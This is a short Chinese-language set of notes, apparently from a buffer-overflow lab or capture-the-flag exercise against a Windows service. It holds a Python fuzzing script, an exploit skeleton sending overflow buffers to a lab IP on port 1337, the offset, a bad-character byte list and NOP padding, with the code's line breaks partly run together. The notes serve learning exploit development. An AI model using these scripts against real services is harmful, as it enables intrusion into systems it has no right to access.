1.了解缓冲区溢出

WINDOWS程序动态调试工具immunity debugger

https://www.immunityinc.com/products/debugger/

2.Mona脚本

#!/usr/bin/env python3import socket, time, sysip = "10.201.99.37"port = 1337
timeout = 5
prefix = "OVERFLOW1 "string = prefix + "A" * 100while True:try:with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.settimeout(timeout)s.connect((ip, port))s.recv(1024)print("Fuzzing with {} bytes".format(len(string) - len(prefix)))s.send(bytes(string, "latin-1"))s.recv(1024)except:print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))sys.exit(0)string += 100 * "A"time.sleep(1)

import socketip = "10.201.99.37"
port = 1337prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""buffer = prefix + overflow + retn + padding + payload + postfixs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:s.connect((ip, port))print("Sending evil buffer...")s.send(bytes(buffer + "\r\n", "latin-1"))print("Done!")
except:print("Could not connect.")

崩溃值是2000

偏移量为1978

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

01A5FA30

现在修改我们的字符生成脚本，将\x07排除在我们的有效载荷之外。

接着去掉2e（具体操作和前面的去除07操作类似），并以此类推直至得到全部的真实坏字符。

padding = "\x90" * 16

padding = "\x90" * 16